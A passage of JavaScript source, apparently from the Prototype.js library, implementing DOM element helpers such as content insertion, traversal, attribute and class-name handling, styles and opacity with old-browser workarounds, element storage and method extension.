element = $(element);
element.style.display = '';
return element;
}


Object.extend(methods, {
visible: visible,
toggle:  toggle,
hide:    hide,
show:    show
});


function remove(element) {
element = $(element);
element.parentNode.removeChild(element);
return element;
}

var SELECT_ELEMENT_INNERHTML_BUGGY = (function(){
var el = document.createElement("select"),
isBuggy = true;
el.innerHTML = "<option value=\"test\">test</option>";
if (el.options && el.options[0]) {
isBuggy = el.options[0].nodeName.toUpperCase() !== "OPTION";
}
el = null;
return isBuggy;
})();

var TABLE_ELEMENT_INNERHTML_BUGGY = (function(){
try {
var el = document.createElement("table");
if (el && el.tBodies) {
el.innerHTML = "<tbody><tr><td>test</td></tr></tbody>";
var isBuggy = typeof el.tBodies[0] == "undefined";
el = null;
return isBuggy;
}
} catch (e) {
return true;
}
})();

var LINK_ELEMENT_INNERHTML_BUGGY = (function() {
try {
var el = document.createElement('div');
el.innerHTML = "<link />";
var isBuggy = (el.childNodes.length === 0);
el = null;
return isBuggy;
} catch(e) {
return true;
}
})();

var ANY_INNERHTML_BUGGY = SELECT_ELEMENT_INNERHTML_BUGGY ||
TABLE_ELEMENT_INNERHTML_BUGGY || LINK_ELEMENT_INNERHTML_BUGGY;

var SCRIPT_ELEMENT_REJECTS_TEXTNODE_APPENDING = (function () {
var s = document.createElement("script"),
isBuggy = false;
try {
s.appendChild(document.createTextNode(""));
isBuggy = !s.firstChild ||
s.firstChild && s.firstChild.nodeType !== 3;
} catch (e) {
isBuggy = true;
}
s = null;
return isBuggy;
})();

function update(element, content) {
element = $(element);

var descendants = element.getElementsByTagName('*'),
i = descendants.length;
while (i--) purgeElement(descendants[i]);

if (content && content.toElement)
content = content.toElement();

if (Object.isElement(content))
return element.update().insert(content);


content = Object.toHTML(content);
var tagName = element.tagName.toUpperCase();

if (tagName === 'SCRIPT' && SCRIPT_ELEMENT_REJECTS_TEXTNODE_APPENDING) {
element.text = content;
return element;
}

if (ANY_INNERHTML_BUGGY) {
if (tagName in INSERTION_TRANSLATIONS.tags) {
while (element.firstChild)
element.removeChild(element.firstChild);

var nodes = getContentFromAnonymousElement(tagName, content.stripScripts());
for (var i = 0, node; node = nodes[i]; i++)
element.appendChild(node);

} else if (LINK_ELEMENT_INNERHTML_BUGGY && Object.isString(content) && content.indexOf('<link') > -1) {
while (element.firstChild)
element.removeChild(element.firstChild);

var nodes = getContentFromAnonymousElement(tagName,
content.stripScripts(), true);

for (var i = 0, node; node = nodes[i]; i++)
element.appendChild(node);
} else {
element.innerHTML = content.stripScripts();
}
} else {
element.innerHTML = content.stripScripts();
}

content.evalScripts.bind(content).defer();
return element;
}

function replace(element, content) {
element = $(element);

if (content && content.toElement) {
content = content.toElement();
} else if (!Object.isElement(content)) {
content = Object.toHTML(content);
var range = element.ownerDocument.createRange();
range.selectNode(element);
content.evalScripts.bind(content).defer();
content = range.createContextualFragment(content.stripScripts());
}

element.parentNode.replaceChild(content, element);
return element;
}

var INSERTION_TRANSLATIONS = {
before: function(element, node) {
element.parentNode.insertBefore(node, element);
},
top: function(element, node) {
element.insertBefore(node, element.firstChild);
},
bottom: function(element, node) {
element.appendChild(node);
},
after: function(element, node) {
element.parentNode.insertBefore(node, element.nextSibling);
},

tags: {
TABLE:  ['<table>',                '</table>',                   1],
TBODY:  ['<table><tbody>',         '</tbody></table>',           2],
TR:     ['<table><tbody><tr>',     '</tr></tbody></table>',      3],
TD:     ['<table><tbody><tr><td>', '</td></tr></tbody></table>', 4],
SELECT: ['<select>',               '</select>',                  1]
}
};

var tags = INSERTION_TRANSLATIONS.tags;

Object.extend(tags, {
THEAD: tags.TBODY,
TFOOT: tags.TBODY,
TH:    tags.TD
});

function replace_IE(element, content) {
element = $(element);
if (content && content.toElement)
content = content.toElement();
if (Object.isElement(content)) {
element.parentNode.replaceChild(content, element);
return element;
}

content = Object.toHTML(content);
var parent = element.parentNode, tagName = parent.tagName.toUpperCase();

if (tagName in INSERTION_TRANSLATIONS.tags) {
var nextSibling = Element.next(element);
var fragments = getContentFromAnonymousElement(
tagName, content.stripScripts());

parent.removeChild(element);

var iterator;
if (nextSibling)
iterator = function(node) { parent.insertBefore(node, nextSibling) };
else
iterator = function(node) { parent.appendChild(node); }

fragments.each(iterator);
} else {
element.outerHTML = content.stripScripts();
}

content.evalScripts.bind(content).defer();
return element;
}

if ('outerHTML' in document.documentElement)
replace = replace_IE;

function isContent(content) {
if (Object.isUndefined(content) || content === null) return false;

if (Object.isString(content) || Object.isNumber(content)) return true;
if (Object.isElement(content)) return true;
if (content.toElement || content.toHTML) return true;

return false;
}

function insertContentAt(element, content, position) {
position   = position.toLowerCase();
var method = INSERTION_TRANSLATIONS[position];

if (content && content.toElement) content = content.toElement();
if (Object.isElement(content)) {
method(element, content);
return element;
}

content = Object.toHTML(content);
var tagName = ((position === 'before' || position === 'after') ?
element.parentNode : element).tagName.toUpperCase();

var childNodes = getContentFromAnonymousElement(tagName, content.stripScripts());

if (position === 'top' || position === 'after') childNodes.reverse();

for (var i = 0, node; node = childNodes[i]; i++)
method(element, node);

content.evalScripts.bind(content).defer();
}

function insert(element, insertions) {
element = $(element);

if (isContent(insertions))
insertions = { bottom: insertions };

for (var position in insertions)
insertContentAt(element, insertions[position], position);

return element;
}

function wrap(element, wrapper, attributes) {
element = $(element);

if (Object.isElement(wrapper)) {
$(wrapper).writeAttribute(attributes || {});
} else if (Object.isString(wrapper)) {
wrapper = new Element(wrapper, attributes);
} else {
wrapper = new Element('div', wrapper);
}

if (element.parentNode)
element.parentNode.replaceChild(wrapper, element);

wrapper.appendChild(element);

return wrapper;
}

function cleanWhitespace(element) {
element = $(element);
var node = element.firstChild;

while (node) {
var nextNode = node.nextSibling;
if (node.nodeType === Node.TEXT_NODE && !/\S/.test(node.nodeValue))
element.removeChild(node);
node = nextNode;
}
return element;
}

function empty(element) {
return $(element).innerHTML.blank();
}

function getContentFromAnonymousElement(tagName, html, force) {
var t = INSERTION_TRANSLATIONS.tags[tagName], div = DIV;

var workaround = !!t;
if (!workaround && force) {
workaround = true;
t = ['', '', 0];
}

if (workaround) {
div.innerHTML = '&#160;' + t[0] + html + t[1];
div.removeChild(div.firstChild);
for (var i = t[2]; i--; )
div = div.firstChild;
} else {
div.innerHTML = html;
}

return $A(div.childNodes);
}

function clone(element, deep) {
if (!(element = $(element))) return;
var clone = element.cloneNode(deep);
if (!HAS_UNIQUE_ID_PROPERTY) {
clone._prototypeUID = UNDEFINED;
if (deep) {
var descendants = Element.select(clone, '*'),
i = descendants.length;
while (i--)
descendants[i]._prototypeUID = UNDEFINED;
}
}
return Element.extend(clone);
}

function purgeElement(element) {
var uid = getUniqueElementID(element);
if (uid) {
Element.stopObserving(element);
if (!HAS_UNIQUE_ID_PROPERTY)
element._prototypeUID = UNDEFINED;
delete Element.Storage[uid];
}
}

function purgeCollection(elements) {
var i = elements.length;
while (i--)
purgeElement(elements[i]);
}

function purgeCollection_IE(elements) {
var i = elements.length, element, uid;
while (i--) {
element = elements[i];
uid = getUniqueElementID(element);
delete Element.Storage[uid];
delete Event.cache[uid];
}
}

if (HAS_UNIQUE_ID_PROPERTY) {
purgeCollection = purgeCollection_IE;
}


function purge(element) {
if (!(element = $(element))) return;
purgeElement(element);

var descendants = element.getElementsByTagName('*'),
i = descendants.length;

while (i--) purgeElement(descendants[i]);

return null;
}

Object.extend(methods, {
remove:  remove,
update:  update,
replace: replace,
insert:  insert,
wrap:    wrap,
cleanWhitespace: cleanWhitespace,
empty:   empty,
clone:   clone,
purge:   purge
});



function recursivelyCollect(element, property, maximumLength) {
element = $(element);
maximumLength = maximumLength || -1;
var elements = [];

while (element = element[property]) {
if (element.nodeType === Node.ELEMENT_NODE)
elements.push(Element.extend(element));

if (elements.length === maximumLength) break;
}

return elements;
}


function ancestors(element) {
return recursivelyCollect(element, 'parentNode');
}

function descendants(element) {
return Element.select(element, '*');
}

function firstDescendant(element) {
element = $(element).firstChild;
while (element && element.nodeType !== Node.ELEMENT_NODE)
element = element.nextSibling;

return $(element);
}

function immediateDescendants(element) {
var results = [], child = $(element).firstChild;

while (child) {
if (child.nodeType === Node.ELEMENT_NODE)
results.push(Element.extend(child));

child = child.nextSibling;
}

return results;
}

function previousSiblings(element) {
return recursivelyCollect(element, 'previousSibling');
}

function nextSiblings(element) {
return recursivelyCollect(element, 'nextSibling');
}

function siblings(element) {
element = $(element);
var previous = previousSiblings(element),
next = nextSiblings(element);
return previous.reverse().concat(next);
}

function match(element, selector) {
element = $(element);

if (Object.isString(selector))
return Prototype.Selector.match(element, selector);

return selector.match(element);
}


function _recursivelyFind(element, property, expression, index) {
element = $(element), expression = expression || 0, index = index || 0;
if (Object.isNumber(expression)) {
index = expression, expression = null;
}

while (element = element[property]) {
if (element.nodeType !== 1) continue;
if (expression && !Prototype.Selector.match(element, expression))
continue;
if (--index >= 0) continue;

return Element.extend(element);
}
}


function up(element, expression, index) {
element = $(element);

if (arguments.length === 1) return $(element.parentNode);
return _recursivelyFind(element, 'parentNode', expression, index);
}

function down(element, expression, index) {
if (arguments.length === 1) return firstDescendant(element);
element = $(element), expression = expression || 0, index = index || 0;

if (Object.isNumber(expression))
index = expression, expression = '*';

var node = Prototype.Selector.select(expression, element)[index];
return Element.extend(node);
}

function previous(element, expression, index) {
return _recursivelyFind(element, 'previousSibling', expression, index);
}

function next(element, expression, index) {
return _recursivelyFind(element, 'nextSibling', expression, index);
}

function select(element) {
element = $(element);
var expressions = SLICE.call(arguments, 1).join(', ');
return Prototype.Selector.select(expressions, element);
}

function adjacent(element) {
element = $(element);
var expressions = SLICE.call(arguments, 1).join(', ');
var siblings = Element.siblings(element), results = [];
for (var i = 0, sibling; sibling = siblings[i]; i++) {
if (Prototype.Selector.match(sibling, expressions))
results.push(sibling);
}

return results;
}

function descendantOf_DOM(element, ancestor) {
element = $(element), ancestor = $(ancestor);
if (!element || !ancestor) return false;
while (element = element.parentNode)
if (element === ancestor) return true;
return false;
}

function descendantOf_contains(element, ancestor) {
element = $(element), ancestor = $(ancestor);
if (!element || !ancestor) return false;
if (!ancestor.contains) return descendantOf_DOM(element, ancestor);
return ancestor.contains(element) && ancestor !== element;
}

function descendantOf_compareDocumentPosition(element, ancestor) {
element = $(element), ancestor = $(ancestor);
if (!element || !ancestor) return false;
return (element.compareDocumentPosition(ancestor) & 8) === 8;
}

var descendantOf;
if (DIV.compareDocumentPosition) {
descendantOf = descendantOf_compareDocumentPosition;
} else if (DIV.contains) {
descendantOf = descendantOf_contains;
} else {
descendantOf = descendantOf_DOM;
}


Object.extend(methods, {
recursivelyCollect:   recursivelyCollect,
ancestors:            ancestors,
descendants:          descendants,
firstDescendant:      firstDescendant,
immediateDescendants: immediateDescendants,
previousSiblings:     previousSiblings,
nextSiblings:         nextSiblings,
siblings:             siblings,
match:                match,
up:                   up,
down:                 down,
previous:             previous,
next:                 next,
select:               select,
adjacent:             adjacent,
descendantOf:         descendantOf,

getElementsBySelector: select,

childElements:         immediateDescendants
});


var idCounter = 1;
function identify(element) {
element = $(element);
var id = Element.readAttribute(element, 'id');
if (id) return id;

do { id = 'anonymous_element_' + idCounter++ } while ($(id));

Element.writeAttribute(element, 'id', id);
return id;
}


function readAttribute(element, name) {
return $(element).getAttribute(name);
}

function readAttribute_IE(element, name) {
element = $(element);

var table = ATTRIBUTE_TRANSLATIONS.read;
if (table.values[name])
return table.values[name](element, name);

if (table.names[name]) name = table.names[name];

if (name.include(':')) {
if (!element.attributes || !element.attributes[name]) return null;
return element.attributes[name].value;
}

return element.getAttribute(name);
}

function readAttribute_Opera(element, name) {
if (name === 'title') return element.title;
return element.getAttribute(name);
}

var PROBLEMATIC_ATTRIBUTE_READING = (function() {
DIV.setAttribute('onclick', []);
var value = DIV.getAttribute('onclick');
var isFunction = Object.isArray(value);
DIV.removeAttribute('onclick');
return isFunction;
})();

if (PROBLEMATIC_ATTRIBUTE_READING) {
readAttribute = readAttribute_IE;
} else if (Prototype.Browser.Opera) {
readAttribute = readAttribute_Opera;
}


function writeAttribute(element, name, value) {
element = $(element);
var attributes = {}, table = ATTRIBUTE_TRANSLATIONS.write;

if (typeof name === 'object') {
attributes = name;
} else {
attributes[name] = Object.isUndefined(value) ? true : value;
}

for (var attr in attributes) {
name = table.names[attr] || attr;
value = attributes[attr];
if (table.values[attr]) {
value = table.values[attr](element, value);
if (Object.isUndefined(value)) continue;
}
if (value === false || value === null)
element.removeAttribute(name);
else if (value === true)
element.setAttribute(name, name);
else element.setAttribute(name, value);
}

return element;
}

var PROBLEMATIC_HAS_ATTRIBUTE_WITH_CHECKBOXES = (function () {
if (!HAS_EXTENDED_CREATE_ELEMENT_SYNTAX) {
return false;
}
var checkbox = document.createElement('<input type="checkbox">');
checkbox.checked = true;
var node = checkbox.getAttributeNode('checked');
return !node || !node.specified;
})();

function hasAttribute(element, attribute) {
attribute = ATTRIBUTE_TRANSLATIONS.has[attribute] || attribute;
var node = $(element).getAttributeNode(attribute);
return !!(node && node.specified);
}

function hasAttribute_IE(element, attribute) {
if (attribute === 'checked') {
return element.checked;
}
return hasAttribute(element, attribute);
}

GLOBAL.Element.Methods.Simulated.hasAttribute =
PROBLEMATIC_HAS_ATTRIBUTE_WITH_CHECKBOXES ?
hasAttribute_IE : hasAttribute;

function classNames(element) {
return new Element.ClassNames(element);
}

var regExpCache = {};
function getRegExpForClassName(className) {
if (regExpCache[className]) return regExpCache[className];

var re = new RegExp("(^|\\s+)" + className + "(\\s+|$)");
regExpCache[className] = re;
return re;
}

function hasClassName(element, className) {
if (!(element = $(element))) return;

var elementClassName = element.className;

if (elementClassName.length === 0) return false;
if (elementClassName === className) return true;

return getRegExpForClassName(className).test(elementClassName);
}

function addClassName(element, className) {
if (!(element = $(element))) return;

if (!hasClassName(element, className))
element.className += (element.className ? ' ' : '') + className;

return element;
}

function removeClassName(element, className) {
if (!(element = $(element))) return;

element.className = element.className.replace(
getRegExpForClassName(className), ' ').strip();

return element;
}

function toggleClassName(element, className, bool) {
if (!(element = $(element))) return;

if (Object.isUndefined(bool))
bool = !hasClassName(element, className);

var method = Element[bool ? 'addClassName' : 'removeClassName'];
return method(element, className);
}

var ATTRIBUTE_TRANSLATIONS = {};

var classProp = 'className', forProp = 'for';

DIV.setAttribute(classProp, 'x');
if (DIV.className !== 'x') {
DIV.setAttribute('class', 'x');
if (DIV.className === 'x')
classProp = 'class';
}

var LABEL = document.createElement('label');
LABEL.setAttribute(forProp, 'x');
if (LABEL.htmlFor !== 'x') {
LABEL.setAttribute('htmlFor', 'x');
if (LABEL.htmlFor === 'x')
forProp = 'htmlFor';
}
LABEL = null;

function _getAttr(element, attribute) {
return element.getAttribute(attribute);
}

function _getAttr2(element, attribute) {
return element.getAttribute(attribute, 2);
}

function _getAttrNode(element, attribute) {
var node = element.getAttributeNode(attribute);
return node ? node.value : '';
}

function _getFlag(element, attribute) {
return $(element).hasAttribute(attribute) ? attribute : null;
}

DIV.onclick = Prototype.emptyFunction;
var onclickValue = DIV.getAttribute('onclick');

var _getEv;

if (String(onclickValue).indexOf('{') > -1) {
_getEv = function(element, attribute) {
var value = element.getAttribute(attribute);
if (!value) return null;
value = value.toString();
value = value.split('{')[1];
value = value.split('}')[0];
return value.strip();
};
}
else if (onclickValue === '') {
_getEv = function(element, attribute) {
var value = element.getAttribute(attribute);
if (!value) return null;
return value.strip();
};
}

ATTRIBUTE_TRANSLATIONS.read = {
names: {
'class':     classProp,
'className': classProp,
'for':       forProp,
'htmlFor':   forProp
},

values: {
style: function(element) {
return element.style.cssText.toLowerCase();
},
title: function(element) {
return element.title;
}
}
};

ATTRIBUTE_TRANSLATIONS.write = {
names: {
className:   'class',
htmlFor:     'for',
cellpadding: 'cellPadding',
cellspacing: 'cellSpacing'
},

values: {
checked: function(element, value) {
value = !!value;
element.checked = value;
return value ? 'checked' : null;
},

style: function(element, value) {
element.style.cssText = value ? value : '';
}
}
};

ATTRIBUTE_TRANSLATIONS.has = { names: {} };

Object.extend(ATTRIBUTE_TRANSLATIONS.write.names,
ATTRIBUTE_TRANSLATIONS.read.names);

var CAMEL_CASED_ATTRIBUTE_NAMES = $w('colSpan rowSpan vAlign dateTime ' +
'accessKey tabIndex encType maxLength readOnly longDesc frameBorder');

for (var i = 0, attr; attr = CAMEL_CASED_ATTRIBUTE_NAMES[i]; i++) {
ATTRIBUTE_TRANSLATIONS.write.names[attr.toLowerCase()] = attr;
ATTRIBUTE_TRANSLATIONS.has.names[attr.toLowerCase()]   = attr;
}

Object.extend(ATTRIBUTE_TRANSLATIONS.read.values, {
href:        _getAttr2,
src:         _getAttr2,
type:        _getAttr,
action:      _getAttrNode,
disabled:    _getFlag,
checked:     _getFlag,
readonly:    _getFlag,
multiple:    _getFlag,
onload:      _getEv,
onunload:    _getEv,
onclick:     _getEv,
ondblclick:  _getEv,
onmousedown: _getEv,
onmouseup:   _getEv,
onmouseover: _getEv,
onmousemove: _getEv,
onmouseout:  _getEv,
onfocus:     _getEv,
onblur:      _getEv,
onkeypress:  _getEv,
onkeydown:   _getEv,
onkeyup:     _getEv,
onsubmit:    _getEv,
onreset:     _getEv,
onselect:    _getEv,
onchange:    _getEv
});


Object.extend(methods, {
identify:        identify,
readAttribute:   readAttribute,
writeAttribute:  writeAttribute,
classNames:      classNames,
hasClassName:    hasClassName,
addClassName:    addClassName,
removeClassName: removeClassName,
toggleClassName: toggleClassName
});


function normalizeStyleName(style) {
if (style === 'float' || style === 'styleFloat')
return 'cssFloat';
return style.camelize();
}

function normalizeStyleName_IE(style) {
if (style === 'float' || style === 'cssFloat')
return 'styleFloat';
return style.camelize();
}

function setStyle(element, styles) {
element = $(element);
var elementStyle = element.style, match;

if (Object.isString(styles)) {
elementStyle.cssText += ';' + styles;
if (styles.include('opacity')) {
var opacity = styles.match(/opacity:\s*(\d?\.?\d*)/)[1];
Element.setOpacity(element, opacity);
}
return element;
}

for (var property in styles) {
if (property === 'opacity') {
Element.setOpacity(element, styles[property]);
} else {
var value = styles[property];
if (property === 'float' || property === 'cssFloat') {
property = Object.isUndefined(elementStyle.styleFloat) ?
'cssFloat' : 'styleFloat';
}
elementStyle[property] = value;
}
}

return element;
}


function getStyle(element, style) {
element = $(element);
style = normalizeStyleName(style);

var value = element.style[style];
if (!value || value === 'auto') {
var css = document.defaultView.getComputedStyle(element, null);
value = css ? css[style] : null;
}

if (style === 'opacity') return value ? parseFloat(value) : 1.0;
return value === 'auto' ? null : value;
}

function getStyle_Opera(element, style) {
switch (style) {
case 'height': case 'width':
if (!Element.visible(element)) return null;

var dim = parseInt(getStyle(element, style), 10);

if (dim !== element['offset' + style.capitalize()])
return dim + 'px';

return Element.measure(element, style);

default: return getStyle(element, style);
}
}

function getStyle_IE(element, style) {
element = $(element);
style = normalizeStyleName_IE(style);

var value = element.style[style];
if (!value && element.currentStyle) {
value = element.currentStyle[style];
}

if (style === 'opacity') {
if (!STANDARD_CSS_OPACITY_SUPPORTED)
return getOpacity_IE(element);
else return value ? parseFloat(value) : 1.0;
}

if (value === 'auto') {
if ((style === 'width' || style === 'height') && Element.visible(element))
return Element.measure(element, style) + 'px';
return null;
}

return value;
}

function stripAlphaFromFilter_IE(filter) {
return (filter || '').replace(/alpha\([^\)]*\)/gi, '');
}

function hasLayout_IE(element) {
if (!element.currentStyle || !element.currentStyle.hasLayout)
element.style.zoom = 1;
return element;
}

var STANDARD_CSS_OPACITY_SUPPORTED = (function() {
DIV.style.cssText = "opacity:.55";
return /^0.55/.test(DIV.style.opacity);
})();

function setOpacity(element, value) {
element = $(element);
if (value == 1 || value === '') value = '';
else if (value < 0.00001) value = 0;
element.style.opacity = value;
return element;
}

function setOpacity_IE(element, value) {
if (STANDARD_CSS_OPACITY_SUPPORTED)
return setOpacity(element, value);

element = hasLayout_IE($(element));
var filter = Element.getStyle(element, 'filter'),
style = element.style;

if (value == 1 || value === '') {
filter = stripAlphaFromFilter_IE(filter);
if (filter) style.filter = filter;
else style.removeAttribute('filter');
return element;
}

if (value < 0.00001) value = 0;

style.filter = stripAlphaFromFilter_IE(filter) +
' alpha(opacity=' + (value * 100) + ')';

return element;
}


function getOpacity(element) {
return Element.getStyle(element, 'opacity');
}

function getOpacity_IE(element) {
if (STANDARD_CSS_OPACITY_SUPPORTED)
return getOpacity(element);

var filter = Element.getStyle(element, 'filter');
if (filter.length === 0) return 1.0;
var match = (filter || '').match(/alpha\(opacity=(.*)\)/i);
if (match && match[1]) return parseFloat(match[1]) / 100;
return 1.0;
}


Object.extend(methods, {
setStyle:   setStyle,
getStyle:   getStyle,
setOpacity: setOpacity,
getOpacity: getOpacity
});

if ('styleFloat' in DIV.style) {
methods.getStyle = getStyle_IE;
methods.setOpacity = setOpacity_IE;
methods.getOpacity = getOpacity_IE;
}

var UID = 0;

GLOBAL.Element.Storage = { UID: 1 };

function getUniqueElementID(element) {
if (element === window) return 0;

if (typeof element._prototypeUID === 'undefined')
element._prototypeUID = Element.Storage.UID++;
return element._prototypeUID;
}

function getUniqueElementID_IE(element) {
if (element === window) return 0;
if (element == document) return 1;
return element.uniqueID;
}

var HAS_UNIQUE_ID_PROPERTY = ('uniqueID' in DIV);
if (HAS_UNIQUE_ID_PROPERTY)
getUniqueElementID = getUniqueElementID_IE;

function getStorage(element) {
if (!(element = $(element))) return;

var uid = getUniqueElementID(element);

if (!Element.Storage[uid])
Element.Storage[uid] = $H();

return Element.Storage[uid];
}

function store(element, key, value) {
if (!(element = $(element))) return;
var storage = getStorage(element);
if (arguments.length === 2) {
storage.update(key);
} else {
storage.set(key, value);
}
return element;
}

function retrieve(element, key, defaultValue) {
if (!(element = $(element))) return;
var storage = getStorage(element), value = storage.get(key);

if (Object.isUndefined(value)) {
storage.set(key, defaultValue);
value = defaultValue;
}

return value;
}


Object.extend(methods, {
getStorage: getStorage,
store:      store,
retrieve:   retrieve
});


var Methods = {}, ByTag = Element.Methods.ByTag,
F = Prototype.BrowserFeatures;

if (!F.ElementExtensions && ('__proto__' in DIV)) {
GLOBAL.HTMLElement = {};
GLOBAL.HTMLElement.prototype = DIV['__proto__'];
F.ElementExtensions = true;
}

function checkElementPrototypeDeficiency(tagName) {
if (typeof window.Element === 'undefined') return false;
if (!HAS_EXTENDED_CREATE_ELEMENT_SYNTAX) return false;
var proto = window.Element.prototype;
if (proto) {
var id = '_' + (Math.random() + '').slice(2),
el = document.createElement(tagName);
proto[id] = 'x';
var isBuggy = (el[id] !== 'x');
delete proto[id];
el = null;
return isBuggy;
}

return false;
}

var HTMLOBJECTELEMENT_PROTOTYPE_BUGGY =
checkElementPrototypeDeficiency('object');

function extendElementWith(element, methods) {
for (var property in methods) {
var value = methods[property];
if (Object.isFunction(value) && !(property in element))
element[property] = value.methodize();
}
}

var EXTENDED = {};
function elementIsExtended(element) {
var uid = getUniqueElementID(element);
return (uid in EXTENDED);
}

function extend(element) {
if (!element || elementIsExtended(element)) return element;
if (element.nodeType !== Node.ELEMENT_NODE || element == window)
return element;

var methods = Object.clone(Methods),
tagName = element.tagName.toUpperCase();

if (ByTag[tagName]) Object.extend(methods, ByTag[tagName]);

extendElementWith(element, methods);
EXTENDED[getUniqueElementID(element)] = true;
return element;
}

function extend_IE8(element) {
if (!element || elementIsExtended(element)) return element;

var t = element.tagName;
if (t && (/^(?:object|applet|embed)$/i.test(t))) {
extendElementWith(element, Element.Methods);
extendElementWith(element, Element.Methods.Simulated);
extendElementWith(element, Element.Methods.ByTag[t.toUpperCase()]);
}

return element;
}

if (F.SpecificElementExtensions) {
extend = HTMLOBJECTELEMENT_PROTOTYPE_BUGGY ? extend_IE8 : Prototype.K;
}

function addMethodsToTagName(tagName, methods) {
tagName = tagName.toUpperCase();
if (!ByTag[tagName]) ByTag[tagName] = {};
Object.extend(ByTag[tagName], methods);
}

function mergeMethods(destination, methods, onlyIfAbsent) {
if (Object.isUndefined(onlyIfAbsent)) onlyIfAbsent = false;
for (var property in methods) {
var value = methods[property];
if (!Object.isFunction(value)) continue;
if (!onlyIfAbsent || !(property in destination))
destination[property] = value.methodize();
}
}

function findDOMClass(tagName) {
var klass;
var trans = {
"OPTGROUP": "OptGroup", "TEXTAREA": "TextArea", "P": "Paragraph",
"FIELDSET": "FieldSet", "UL": "UList", "OL": "OList", "DL": "DList",
"DIR": "Directory", "H1": "Heading", "H2": "Heading", "H3": "Heading",
"H4": "Heading", "H5": "Heading", "H6": "Heading", "Q": "Quote",
"INS": "Mod", "DEL": "Mod", "A": "Anchor", "IMG": "Image", "CAPTION":
"TableCaption", "COL": "TableCol", "COLGROUP": "TableCol", "THEAD":
"TableSection", "TFOOT": "TableSection", "TBODY": "TableSection", "TR":
"TableRow", "TH": "TableCell", "TD": "TableCell", "FRAMESET":
"FrameSet", "IFRAME": "IFrame"
};
if (trans[tagName]) klass = 'HTML' + trans[tagName] + 'Element';
if (window[klass]) return window[klass];
klass = 'HTML' + tagName + 'Element';
if (window[klass]) return window[klass];
klass = 'HTML' + tagName.capitalize() + 'Element';
if (window[klass]) return window[klass];

var element = document.createElement(tagName),
proto = element['__proto__'] || element.constructor.prototype;

element = null;
return proto;
}

function addMethods(methods) {
if (arguments.length === 0) addFormMethods();

if (arguments.length === 2) {
var tagName = methods;
methods = arguments[1];
}

if (!tagName) {
Object.extend(Element.Methods, methods || {});
} else {
if (Object.isArray(tagName)) {
for (var i = 0, tag; tag = tagName[i]; i++)
addMethodsToTagName(tag, methods);
} else {
addMethodsToTagName(tagName, methods);
}
}

var ELEMENT_PROTOTYPE = window.HTMLElement ? HTMLElement.prototype :
Element.prototype;

if (F.ElementExtensions) {
mergeMethods(ELEMENT_PROTOTYPE, Element.Methods);
mergeMethods(ELEMENT_PROTOTYPE, Element.Methods.Simulated, true);
}

if (F.SpecificElementExtensions) {
for (var tag in Element.Methods.ByTag) {
var klass = findDOMClass(tag);
if (Object.isUndefined(klass)) continue;
mergeMethods(klass.prototype, ByTag[tag]);
}
}

Object.extend(Element, Element.Methods);
Object.extend(Element, Element.Methods.Simulated);
delete Element.ByTag;
delete Element.Simulated;

Element.extend.refresh();

ELEMENT_CACHE = {};
}

Object.extend(GLOBAL.Element, {
extend:     extend,
addMethods: addMethods
});

if (extend === Prototype.K) {
GLOBAL.Element.extend.refresh = Prototype.emptyFunction;
} else {
GLOBAL.Element.extend.refresh = function() {
if (Prototype.BrowserFeatures.ElementExtensions) return;
Object.extend(Methods, Element.Methods);
Object.extend(Methods, Element.Methods.Simulated);

EXTENDED = {};
};
}

function addFormMethods() {
Object.extend(Form, Form.Methods);
Object.extend(Form.Element, Form.Element.Methods);
Object.extend(Element.Methods.ByTag, {
"FORM":     Object.clone(Form.Methods),
"INPUT":    Object.clone(Form.Element.Methods),
"SELECT":   Object.clone(Form.Element.Methods),
"TEXTAREA": Object.clone(Form.Element.Methods),
"BUTTON":   Object.clone(Form.Element.Methods)
});
}

Element.addMethods(methods);

function destroyCache_IE() {
DIV = null;
ELEMENT_CACHE = null;
}

if (window.attachEvent)
window.attachEvent('onunload', destroyCache_IE);

})(this);
(function() {

function toDecimal(pctString) {
var match = pctString.match(/^(\d+)%?$/i);
if (!match) return null;
return (Number(match[1]) / 100);
}

function getRawStyle(element, style) {
element = $(element);

var value = element.style[style];
if (!value || value === 'auto') {
var css = document.defaultView.getComputedStyle(element, null);
value = css ? css[style] : null;
}

if (style === 'opacity') return value ? parseFloat(value) : 1.0;
return value === 'auto' ? null : value;
}

function getRawStyle_IE(element, style) {
var value = element.style[style];
if (!value && element.currentStyle) {
value = element.currentStyle[style];
}
return value;
}

function getContentWidth(element, context) {
var boxWidth = element.offsetWidth;

var bl = getPixelValue(element, 'borderLeftWidth',  context) || 0;
var br = getPixelValue(element, 'borderRightWidth', context) || 0;
var pl = getPixelValue(element, 'paddingLeft',      context) || 0;
var pr = getPixelValue(element, 'paddingRight',     context) || 0;

return boxWidth - bl - br - pl - pr;
}

if (!Object.isUndefined(document.documentElement.currentStyle) && !Prototype.Browser.Opera) {
getRawStyle = getRawStyle_IE;
}


function getPixelValue(value, property, context) {
var element = null;
if (Object.isElement(value)) {
element = value;
value = getRawStyle(element, property);
}

if (value === null || Object.isUndefined(value)) {
return null;
}

if ((/^(?:-)?\d+(\.\d+)?(px)?$/i).test(value)) {
return window.parseFloat(value);
}

var isPercentage = value.include('%'), isViewport = (context === document.viewport);

if (/\d/.test(value) && element && element.runtimeStyle && !(isPercentage && isViewport)) {
var style = element.style.left, rStyle = element.runtimeStyle.left;
element.runtimeStyle.left = element.currentStyle.left;
element.style.left = value || 0;
value = element.style.pixelLeft;
element.style.left = style;
element.runtimeStyle.left = rStyle;

return value;
}

if (element && isPercentage) {
context = context || element.parentNode;
var decimal = toDecimal(value), whole = null;

var isHorizontal = property.include('left') || property.include('right') ||
property.include('width');

var isVertical   = property.include('top') || property.include('bottom') ||
property.include('height');

if (context === document.viewport) {
if (isHorizontal) {
whole = document.viewport.getWidth();
} else if (isVertical) {
whole = document.viewport.getHeight();
}
} else {
if (isHorizontal) {
whole = $(context).measure('width');
} else if (isVertical) {
whole = $(context).measure('height');
}
}

return (whole === null) ? 0 : whole * decimal;
}

return 0;
}

function toCSSPixels(number) {
if (Object.isString(number) && number.endsWith('px'))
return number;
return number + 'px';
}

function isDisplayed(element) {
while (element && element.parentNode) {
var display = element.getStyle('display');
if (display === 'none') {
return false;
}
element = $(element.parentNode);
}
return true;
}

var hasLayout = Prototype.K;
if ('currentStyle' in document.documentElement) {
hasLayout = function(element) {
if (!element.currentStyle.hasLayout) {
element.style.zoom = 1;
}
return element;
};
}

function cssNameFor(key) {
if (key.include('border')) key = key + '-width';
return key.camelize();
}

Element.Layout = Class.create(Hash, {
initialize: function($super, element, preCompute) {
$super();
this.element = $(element);

Element.Layout.PROPERTIES.each( function(property) {
